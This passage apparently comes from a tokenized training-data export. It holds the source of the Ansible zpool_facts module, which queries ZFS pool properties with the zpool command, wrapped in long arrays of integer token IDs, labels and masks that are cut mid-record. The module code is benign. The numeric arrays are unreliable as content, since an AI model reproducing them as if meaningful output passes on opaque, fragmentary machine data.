1715, 9538, 267, 1402, 275, 7290, 2354, 199, 199, 309, 699, 1181, 362, 199, 199, 533, 7290, 34, 1181, 362, 2821, 63, 3773, 8, 3351, 14, 15937, 12, 9769, 2821, 4256, 304, 272, 6863, 63, 955, 275, 661, 1715, 9538, 339, 1021, 6288, 26, 267, 1402, 275, 7290, 34, 1181, 362, 267, 11114, 275, 791, 19505, 6976, 356, 4513, 14, 8583, 14, 16065, 5446, 93, 421, 199, 533, 7290, 34, 1181, 362, 2821, 63, 1345, 8, 8064, 2821, 304, 272, 1021, 6288, 26, 267, 1402, 275, 7290, 34, 1181, 362, 267, 11114, 275, 791, 19505, 6976, 356, 4513, 14, 8583, 14, 16065, 5446, 93, 421, 199, 533, 7290, 34, 1181, 362, 2821, 63, 981, 8, 3351, 14, 15937, 304, 272, 1021, 6288, 26, 267, 5760, 275, 661, 1715, 9538, 267, 1402, 275, 7290, 34, 1181, 362, 267, 11114, 275, 791, 19505, 6976, 356, 4513, 14, 8583, 14, 16065, 5446, 93, 421, 199, 309, 15621, 199, 199, 533, 7290, 11347, 2821, 63, 3773, 8, 5446, 18, 2821, 4256, 12, 4513, 14, 15937, 12, 9769, 2821, 4256, 304, 272, 6863, 63, 955, 275, 661, 1715, 9538, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 277, 855, 533, 3108, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 955, 459, 8614, 2278, 7924, 275, 291, 14, 955, 459, 8614, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 6693, 2278, 7924, 275, 291, 14, 955, 459, 6693, 2278, 7924, 14, 2682, 342, 267, 327, 291, 14, 955, 459, 66, 6349, 3269, 2278, 7924, 275, 291, 14, 955, 459, 66, 6349, 3269, 2278, 7924, 14, 2682, 342, 267, 327, 291, 14, 955, 459, 5746, 2278, 7924, 275, 291, 14, 955, 459, 5746, 2278, 7924, 14, 2682, 342, 339, 1021, 6288, 26, 267, 1402, 275, 7290, 11347, 421, 199, 533, 7290, 11347, 2821, 63, 1345, 8, 8064, 2821, 304, 272, 1021, 6288, 26, 267, 1402, 275, 7290, 11347, 421, 199, 533, 7290, 11347, 2821, 63, 981, 8, 5446, 18, 2821, 4256, 12, 4513, 14, 15937, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 277, 855, 533, 3108, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 955, 459, 8614, 2278, 7924, 275, 291, 14, 955, 459, 8614, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 6693, 2278, 7924, 275, 291, 14, 955, 459, 6693, 2278, 7924, 14, 2682, 342, 267, 327, 291, 14, 955, 459, 66, 6349, 3269, 2278 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 646, 2197, 199, 199, 504, 1639, 492, 4513, 199, 199, 504, 2863, 14, 3351, 492, 13302, 2821, 12, 9769, 2821, 4256, 12, 9496, 18, 2821, 4256, 199, 199, 504, 1275, 992, 492, 334, 4761, 12, 7290, 1173, 28017, 12, 7290, 2354, 12, 7290, 34, 1181, 362, 12, 7290, 1173, 9, 421, 199, 533, 7290, 2821, 63, 3773, 8, 3351, 14, 15937, 12, 9769, 2821, 4256, 304, 272, 6863, 63, 955, 275, 661, 643, 9501, 9538, 339, 1021, 6288, 26, 267, 1402, 275, 7290, 421, 199, 533, 7290, 2821, 63, 981, 8, 3351, 14, 15937, 304, 272, 1021, 6288, 26, 267, 5760, 275, 661, 643, 9501, 9538, 267, 1402, 275, 7290, 421, 199, 533, 7290, 2821, 63, 1345, 8, 8064, 2821, 304, 272, 1021, 6288, 26, 267, 1402, 275, 7290, 199, 2344, 199, 199, 533, 7290, 2354, 2821, 63, 3773, 8, 5446, 18, 2821, 4256, 12, 4513, 14, 15937, 12, 9769, 2821, 4256, 304, 272, 6863, 63, 955, 275, 661, 1715, 9538, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 277, 855, 533, 3108, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 955, 459, 22615, 2278, 7924, 275, 291, 14, 955, 459, 22615, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 14368, 2278, 7924, 275, 291, 14, 955, 459, 14368, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 19623, 2278, 7924, 275, 291, 14, 955, 459, 19623, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 765, 7085, 2278, 7924, 275, 291, 14, 955, 459, 765, 7085, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 30970, 2278, 7924, 275, 291, 14, 955, 459, 30970, 2278, 7924, 14, 2682, 342, 339, 1021, 6288, 26, 267, 1402, 275, 7290, 2354, 421, 199, 533, 7290, 2354, 2821, 63, 1345, 8, 8064, 2821, 304, 272, 1021, 6288, 26, 267, 1402, 275, 7290, 2354, 421, 199, 533, 7290, 2354, 2821, 63, 981, 8, 5446, 18, 2821, 4256, 12, 4513, 14, 15937, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 277, 855, 533, 3108, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 955, 459, 22615, 2278, 7924, 275, 291, 14, 955, 459, 22615, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 14368, 2278, 7924, 275, 291, 14, 955, 459, 14368, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 19623, 2278, 7924, 275, 291, 14, 955, 459, 19623, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 765, 7085, 2278, 7924, 275, 291, 14, 955, 459, 765, 7085, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 30970, 2278, 7924, 275, 291, 14, 955, 459, 30970, 2278, 7924, 14, 2682, 342, 398, 327, 14703, 314, 1453, 18672, 5361, 315, 1059, 1824, 267, 4205, 63, 3403, 275, 2197, 14, 2083, 14, 2131, 1252, 3403, 267, 340, 2197, 14, 2083, 14, 2131, 1252, 4482, 665, 1520, 26, 288, 4205, 63, 3403, 4862, 413, 398, 862, 26, 288, 327, 886, 282, 4237, 367, 314, 18672, 5361, 1768, 288, 18672, 63, 3403, 275, 291, 14, 955, 459, 18646, 63, 3403, 2278, 7924, 14, 362, 8, 1302, 9569, 83, 3295, 83, 7, 450, 334, 826, 63, 3403, 435, 413, 12, 4205, 63, 3403, 435, 499, 430, 267, 871, 291, 14, 955, 459, 18646, 63, 3403, 2278, 7924, 14, 1238, 14, 7400, 26, 288, 986, 267, 587, 26, 288, 291, 14, 955, 459, 18646, 63, 3403, 2278, 2747, 275, 18672, 63, 3403, 339, 1021, 6288, 26, 267, 5760, 275, 661, 1715, 9538, 267, 1402, 275, 7290, 2354, 199, 199, 309, 699, 1181, 362, 199, 199, 533, 7290, 34, 1181, 362, 2821, 63, 3773, 8, 3351, 14, 15937, 12, 9769, 2821, 4256, 304, 272, 6863, 63, 955, 275, 661, 1715, 9538, 339, 1021, 6288, 26, 267, 1402, 275, 7290, 34, 1181, 362, 267, 11114, 275, 791, 19505, 6976, 356, 4513, 14, 8583, 14, 16065, 5446, 93, 421, 199, 533, 7290, 34, 1181, 362, 2821, 63, 1345, 8, 8064, 2821, 304, 272, 1021, 6288, 26, 267, 1402, 275, 7290, 34, 1181, 362, 267, 11114, 275, 791, 19505, 6976, 356, 4513, 14, 8583, 14, 16065, 5446, 93, 421, 199, 533, 7290, 34, 1181, 362, 2821, 63, 981, 8, 3351, 14, 15937, 304, 272, 1021, 6288, 26, 267, 5760, 275, 661, 1715, 9538, 267, 1402, 275, 7290, 34, 1181, 362, 267, 11114, 275, 791, 19505, 6976, 356, 4513, 14, 8583, 14, 16065, 5446, 93, 421, 199, 309, 15621, 199, 199, 533, 7290, 11347, 2821, 63, 3773, 8, 5446, 18, 2821, 4256, 12, 4513, 14, 15937, 12, 9769, 2821, 4256, 304, 272, 6863, 63, 955, 275, 661, 1715, 9538, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 277, 855, 533, 3108, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 955, 459, 8614, 2278, 7924, 275, 291, 14, 955, 459, 8614, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 6693, 2278, 7924, 275, 291, 14, 955, 459, 6693, 2278, 7924, 14, 2682, 342, 267, 327, 291, 14, 955, 459, 66, 6349, 3269, 2278, 7924, 275, 291, 14, 955, 459, 66, 6349, 3269, 2278, 7924, 14, 2682, 342, 267, 327, 291, 14, 955, 459, 5746, 2278, 7924, 275, 291, 14, 955, 459, 5746, 2278, 7924, 14, 2682, 342, 339, 1021, 6288, 26, 267, 1402, 275, 7290, 11347, 421, 199, 533, 7290, 11347, 2821, 63, 1345, 8, 8064, 2821, 304, 272, 1021, 6288, 26, 267, 1402, 275, 7290, 11347, 421, 199, 533, 7290, 11347, 2821, 63, 981, 8, 5446, 18, 2821, 4256, 12, 4513, 14, 15937, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 277, 855, 533, 3108, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 955, 459, 8614, 2278, 7924, 275, 291, 14, 955, 459, 8614, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 6693, 2278, 7924, 275, 291, 14, 955, 459, 6693, 2278, 7924, 14, 2682, 342, 267, 327, 291, 14, 955, 459, 66, 6349, 3269, 2278, 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, 1, 1 ]
randynobx/ansible
lib/ansible/modules/storage/zfs/zpool_facts.py
69
6653
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2016, Adam Števko <adam.stevko@gmail.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # ANSIBLE_METADATA = {'metadata_version': '1.0', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: zpool_facts short_description: Gather facts about ZFS pools. description: - Gather facts from ZFS pool properties. version_added: "2.3" author: Adam Števko (@xen0l) options: name: description: - ZFS pool name. aliases: [ "pool", "zpool" ] required: false parsable: description: - Specifies if property values should be displayed in machine friendly format. type: bool default: False required: false properties: description: - Specifies which dataset properties should be queried in comma-separated format. For more information about dataset properties, check zpool(1M) man page. aliases: [ "props" ] default: all required: false ''' EXAMPLES = ''' # Gather facts about ZFS pool rpool zpool_facts: pool=rpool # Gather space usage about all imported ZFS pools zpool_facts: properties='free,size' debug: msg='ZFS pool {{ item.name }} has {{ item.free }} free space out of {{ item.size }}.' with_items: '{{ ansible_zfs_pools }}' ''' RETURN = ''' name: description: ZFS pool name returned: always type: string sample: rpool parsable: description: if parsable output should be provided in machine friendly format. returned: if 'parsable' is set to True type: boolean sample: True zfs_pools: description: ZFS pool facts returned: always type: string sample: { "allocated": "3.46G", "altroot": "-", "autoexpand": "off", "autoreplace": "off", "bootfs": "rpool/ROOT/openindiana", "cachefile": "-", "capacity": "6%", "comment": "-", "dedupditto": "0", "dedupratio": "1.00x", "delegation": "on", "expandsize": "-", "failmode": "wait", "feature@async_destroy": "enabled", "feature@bookmarks": "enabled", "feature@edonr": "enabled", "feature@embedded_data": "active", "feature@empty_bpobj": "active", "feature@enabled_txg": "active", "feature@extensible_dataset": "enabled", "feature@filesystem_limits": "enabled", "feature@hole_birth": "active", "feature@large_blocks": "enabled", "feature@lz4_compress": "active", "feature@multi_vdev_crash_dump": "enabled", "feature@sha512": "enabled", "feature@skein": "enabled", "feature@spacemap_histogram": "active", "fragmentation": "3%", "free": "46.3G", "freeing": "0", "guid": "15729052870819522408", "health": "ONLINE", "leaked": "0", "listsnapshots": "off", "name": "rpool", "readonly": "off", "size": "49.8G", "version": "-" } ''' import os from collections import defaultdict from ansible.module_utils.six import iteritems from ansible.module_utils.basic import AnsibleModule class ZPoolFacts(object): def __init__(self, module): self.module = module self.name = module.params['name'] self.parsable = module.params['parsable'] self.properties = module.params['properties'] self._pools = defaultdict(dict) self.facts = [] def pool_exists(self): cmd = [self.module.get_bin_path('zpool')] cmd.append('list') cmd.append(self.name) (rc, out, err) = self.module.run_command(cmd) if rc == 0: return True else: return False def get_facts(self): cmd = [self.module.get_bin_path('zpool')] cmd.append('get') cmd.append('-H') if self.parsable: cmd.append('-p') cmd.append('-o') cmd.append('name,property,value') cmd.append(self.properties) if self.name: cmd.append(self.name) (rc, out, err) = self.module.run_command(cmd) if rc == 0: for line in out.splitlines(): pool, property, value = line.split('\t') self._pools[pool].update({property: value}) for k, v in iteritems(self._pools): v.update({'name': k}) self.facts.append(v) return {'ansible_zfs_pools': self.facts} else: self.module.fail_json(msg='Error while trying to get facts about ZFS pool: %s' % self.name, stderr=err, rc=rc) def main(): module = AnsibleModule( argument_spec=dict( name=dict(required=False, aliases=['pool', 'zpool'], type='str'), parsable=dict(required=False, default=False, type='bool'), properties=dict(required=False, default='all', type='str'), ), supports_check_mode=True ) zpool_facts = ZPoolFacts(module) result = {} result['changed'] = False result['name'] = zpool_facts.name if zpool_facts.parsable: result['parsable'] = zpool_facts.parsable if zpool_facts.name is not None: if zpool_facts.pool_exists(): result['ansible_facts'] = zpool_facts.get_facts() else: module.fail_json(msg='ZFS pool %s does not exist!' % zpool_facts.name) else: result['ansible_facts'] = zpool_facts.get_facts() module.exit_json(**result) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 7800, 12, 4431, 455, 221, 130, 255, 266, 86, 7697, 665, 27679, 14, 1597, 86, 7697, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 16, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 1315, 2293, 63, 5047, 199, 3612, 63, 1802, 26, 19634, 9036, 3595, 3107, 7079, 20092, 14, 199, 1802, 26, 523, 446, 19634, 9036, 687, 3107, 7079, 4203, 4382, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 19, 2, 199, 2502, 26, 4431, 455, 221, 130, 255, 266, 86, 7697, 8593, 13615, 16, 76, 9, 199, 1419, 26, 272, 536, 26, 267, 1369, 26, 288, 446, 3107, 7079, 4203, 536, 14, 267, 5481, 26, 359, 298, 2293, 401, 298, 90, 2293, 2, 1622, 267, 1415, 26, 3055, 272, 30903, 461, 26, 267, 1369, 26, 288, 446, 11015, 340, 3324, 1338, 1077, 506, 9080, 315, 6844, 1598, 21428, 1475, 14, 267, 730, 26, 2155, 267, 849, 26, 756, 267, 1415, 26, 3055, 272, 4382, 26, 267, 1369, 26, 288, 446, 11015, 1314, 4789, 4382, 1077, 506, 30081, 315, 10029, 13, 12794, 1475, 14, 1598, 2104, 1655, 2556, 3595, 4789, 4382, 12, 1104, 1315, 2293, 8, 17, 45, 9, 2169, 2034, 14, 267, 5481, 26, 359, 298, 6750, 2, 1622, 267, 849, 26, 1006, 267, 1415, 26, 3055, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 19634, 9036, 3595, 3107, 7079, 4203, 519, 2293, 199, 90, 2293, 63, 5047, 26, 4203, 29, 82, 2293, 199, 199, 3, 19634, 4601, 4503, 3595, 1006, 8439, 3107, 7079, 20092, 199, 90, 2293, 63, 5047, 26, 4382, 534, 4624, 12, 890, 7, 199, 1757, 26, 1499, 534, 58, 7079, 4203, 8448, 1242, 14, 354, 3586, 965, 8448, 1242, 14, 4624, 3586, 2867, 4601, 734, 402, 8448, 1242, 14, 890, 3586, 3530, 199, 1045, 63, 1744, 26, 11400, 3242, 63, 90, 2319, 63, 12406, 16339, 199, 2344, 199, 199, 9677, 275, 1449, 199, 354, 26, 272, 1369, 26, 3107, 7079, 4203, 536, 272, 2138, 26, 3544, 272, 730, 26, 1059, 272, 2690, 26, 519, 2293, 199, 21152, 461, 26, 272, 1369, 26, 340, 30903, 461, 1072, 1077, 506, 2741, 315, 6844, 21428, 1475, 14, 272, 2138, 26, 340, 283, 21152, 461, 7, 365, 663, 370, 715, 272, 730, 26, 5046, 272, 2690, 26, 715, 199, 90, 2319, 63, 12406, 26, 272, 1369, 26, 3107, 7079, 4203, 9036, 272, 2138, 26, 3544, 272, 730, 26, 1059, 272, 2690, 26, 288, 469, 355, 298, 19570, 582, 298, 19, 14, 2466, 39, 401, 355, 298, 4478, 1231, 582, 3905, 401, 355, 298, 2495, 4441, 582, 298, 1997, 401, 355, 298, 27082, 2778, 582, 298, 1997, 401, 355, 298, 4930, 2319, 582, 298, 82, 2293, 15, 5441, 15, 1490, 3558, 6738, 401, 355, 298, 1637, 493, 582, 3905, 401, 355, 298, 10457, 582, 298, 22, 31181, 355, 298, 3349, 582, 3905, 401, 355, 298, 770, 384, 1741, 475, 582, 298, 16, 401, 355, 298, 770, 384, 6884, 582, 298, 17, 14, 383, 88, 401, 355, 298, 23684, 425, 582, 298, 265, 401, 355, 298, 4441, 890, 582, 3905, 401, 355, 298, 1633, 632, 582, 298, 2573, 401, 355, 298, 4445, 32, 4146, 63, 7237, 582, 298, 3827, 401, 355, 298, 4445, 32, 25799, 582, 298, 3827, 401, 355, 298, 4445, 32, 379, 265, 82, 582, 298, 3827, 401, 355, 298, 4445, 32, 18757, 63, 576, 582, 298, 2682, 401, 355, 298, 4445, 32, 1667, 63, 66, 555, 468, 582, 298, 2682, 401, 355, 298, 4445, 32, 3827, 63, 2347, 71, 582, 298, 2682, 401, 355, 298, 4445, 32, 1614, 1164, 63, 5214, 582, 298, 3827, 401, 355, 298, 4445, 32, 11381, 63, 9368, 582, 298, 3827, 401, 355, 298, 4445, 32, 16668, 63, 10907, 582, 298, 2682, 401, 355, 298, 4445, 32, 9629, 63, 4166, 582, 298, 3827, 401, 355, 298, 4445, 32, 28997, 20, 63, 6447, 582, 298, 2682, 401, 355, 298, 4445, 32, 3029, 63, 86, 2374, 63, 14807, 63, 2724, 582, 298, 3827, 401, 355, 298, 4445, 32, 4835, 7736, 582, 298, 3827, 401, 355, 298, 4445, 32, 16866, 262, 582, 298, 3827, 401, 355, 298, 4445, 32, 2638, 1130, 63, 14805, 582, 298, 2682, 401, 355, 298, 11255, 3117, 582, 298, 19, 31181, 355, 298, 4624, 582, 298, 2466, 14, 19, 39, 401, 355, 298, 4624, 316, 582, 298, 16, 401, 355, 298, 9473, 582, 298, 10823, 1398, 1717, 11884, 2036, 11874, 8731, 2036, 401, 355, 298, 9665, 582, 298, 615, 6174, 401, 355, 298, 274, 16702, 582, 298, 16, 401, 355, 298, 513, 15331, 582, 298, 1997, 401, 355, 298, 354, 582, 298, 82, 2293, 401, 355, 298, 6753, 582, 298, 1997, 401, 355, 298, 890, 582, 298, 1887, 14, 24, 39, 401, 355, 298, 1023, 582, 17155, 288, 789, 199, 2344, 199, 199, 646, 747, 199, 504, 5055, 492, 10018, 199, 504, 3242, 14, 578, 63, 1208, 14, 4174, 492, 10849, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 199, 533, 3107 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 7800, 12, 4431, 455, 221, 130, 255, 266, 86, 7697, 665, 27679, 14, 1597, 86, 7697, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 16, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 1315, 2293, 63, 5047, 199, 3612, 63, 1802, 26, 19634, 9036, 3595, 3107, 7079, 20092, 14, 199, 1802, 26, 523, 446, 19634, 9036, 687, 3107, 7079, 4203, 4382, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 19, 2, 199, 2502, 26, 4431, 455, 221, 130, 255, 266, 86, 7697, 8593, 13615, 16, 76, 9, 199, 1419, 26, 272, 536, 26, 267, 1369, 26, 288, 446, 3107, 7079, 4203, 536, 14, 267, 5481, 26, 359, 298, 2293, 401, 298, 90, 2293, 2, 1622, 267, 1415, 26, 3055, 272, 30903, 461, 26, 267, 1369, 26, 288, 446, 11015, 340, 3324, 1338, 1077, 506, 9080, 315, 6844, 1598, 21428, 1475, 14, 267, 730, 26, 2155, 267, 849, 26, 756, 267, 1415, 26, 3055, 272, 4382, 26, 267, 1369, 26, 288, 446, 11015, 1314, 4789, 4382, 1077, 506, 30081, 315, 10029, 13, 12794, 1475, 14, 1598, 2104, 1655, 2556, 3595, 4789, 4382, 12, 1104, 1315, 2293, 8, 17, 45, 9, 2169, 2034, 14, 267, 5481, 26, 359, 298, 6750, 2, 1622, 267, 849, 26, 1006, 267, 1415, 26, 3055, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 19634, 9036, 3595, 3107, 7079, 4203, 519, 2293, 199, 90, 2293, 63, 5047, 26, 4203, 29, 82, 2293, 199, 199, 3, 19634, 4601, 4503, 3595, 1006, 8439, 3107, 7079, 20092, 199, 90, 2293, 63, 5047, 26, 4382, 534, 4624, 12, 890, 7, 199, 1757, 26, 1499, 534, 58, 7079, 4203, 8448, 1242, 14, 354, 3586, 965, 8448, 1242, 14, 4624, 3586, 2867, 4601, 734, 402, 8448, 1242, 14, 890, 3586, 3530, 199, 1045, 63, 1744, 26, 11400, 3242, 63, 90, 2319, 63, 12406, 16339, 199, 2344, 199, 199, 9677, 275, 1449, 199, 354, 26, 272, 1369, 26, 3107, 7079, 4203, 536, 272, 2138, 26, 3544, 272, 730, 26, 1059, 272, 2690, 26, 519, 2293, 199, 21152, 461, 26, 272, 1369, 26, 340, 30903, 461, 1072, 1077, 506, 2741, 315, 6844, 21428, 1475, 14, 272, 2138, 26, 340, 283, 21152, 461, 7, 365, 663, 370, 715, 272, 730, 26, 5046, 272, 2690, 26, 715, 199, 90, 2319, 63, 12406, 26, 272, 1369, 26, 3107, 7079, 4203, 9036, 272, 2138, 26, 3544, 272, 730, 26, 1059, 272, 2690, 26, 288, 469, 355, 298, 19570, 582, 298, 19, 14, 2466, 39, 401, 355, 298, 4478, 1231, 582, 3905, 401, 355, 298, 2495, 4441, 582, 298, 1997, 401, 355, 298, 27082, 2778, 582, 298, 1997, 401, 355, 298, 4930, 2319, 582, 298, 82, 2293, 15, 5441, 15, 1490, 3558, 6738, 401, 355, 298, 1637, 493, 582, 3905, 401, 355, 298, 10457, 582, 298, 22, 31181, 355, 298, 3349, 582, 3905, 401, 355, 298, 770, 384, 1741, 475, 582, 298, 16, 401, 355, 298, 770, 384, 6884, 582, 298, 17, 14, 383, 88, 401, 355, 298, 23684, 425, 582, 298, 265, 401, 355, 298, 4441, 890, 582, 3905, 401, 355, 298, 1633, 632, 582, 298, 2573, 401, 355, 298, 4445, 32, 4146, 63, 7237, 582, 298, 3827, 401, 355, 298, 4445, 32, 25799, 582, 298, 3827, 401, 355, 298, 4445, 32, 379, 265, 82, 582, 298, 3827, 401, 355, 298, 4445, 32, 18757, 63, 576, 582, 298, 2682, 401, 355, 298, 4445, 32, 1667, 63, 66, 555, 468, 582, 298, 2682, 401, 355, 298, 4445, 32, 3827, 63, 2347, 71, 582, 298, 2682, 401, 355, 298, 4445, 32, 1614, 1164, 63, 5214, 582, 298, 3827, 401, 355, 298, 4445, 32, 11381, 63, 9368, 582, 298, 3827, 401, 355, 298, 4445, 32, 16668, 63, 10907, 582, 298, 2682, 401, 355, 298, 4445, 32, 9629, 63, 4166, 582, 298, 3827, 401, 355, 298, 4445, 32, 28997, 20, 63, 6447, 582, 298, 2682, 401, 355, 298, 4445, 32, 3029, 63, 86, 2374, 63, 14807, 63, 2724, 582, 298, 3827, 401, 355, 298, 4445, 32, 4835, 7736, 582, 298, 3827, 401, 355, 298, 4445, 32, 16866, 262, 582, 298, 3827, 401, 355, 298, 4445, 32, 2638, 1130, 63, 14805, 582, 298, 2682, 401, 355, 298, 11255, 3117, 582, 298, 19, 31181, 355, 298, 4624, 582, 298, 2466, 14, 19, 39, 401, 355, 298, 4624, 316, 582, 298, 16, 401, 355, 298, 9473, 582, 298, 10823, 1398, 1717, 11884, 2036, 11874, 8731, 2036, 401, 355, 298, 9665, 582, 298, 615, 6174, 401, 355, 298, 274, 16702, 582, 298, 16, 401, 355, 298, 513, 15331, 582, 298, 1997, 401, 355, 298, 354, 582, 298, 82, 2293, 401, 355, 298, 6753, 582, 298, 1997, 401, 355, 298, 890, 582, 298, 1887, 14, 24, 39, 401, 355, 298, 1023, 582, 17155, 288, 789, 199, 2344, 199, 199, 646, 747, 199, 504, 5055, 492, 10018, 199, 504, 3242, 14, 578, 63, 1208, 14, 4174, 492, 10849, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 199, 533, 3107, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
cypsun/FreeCAD
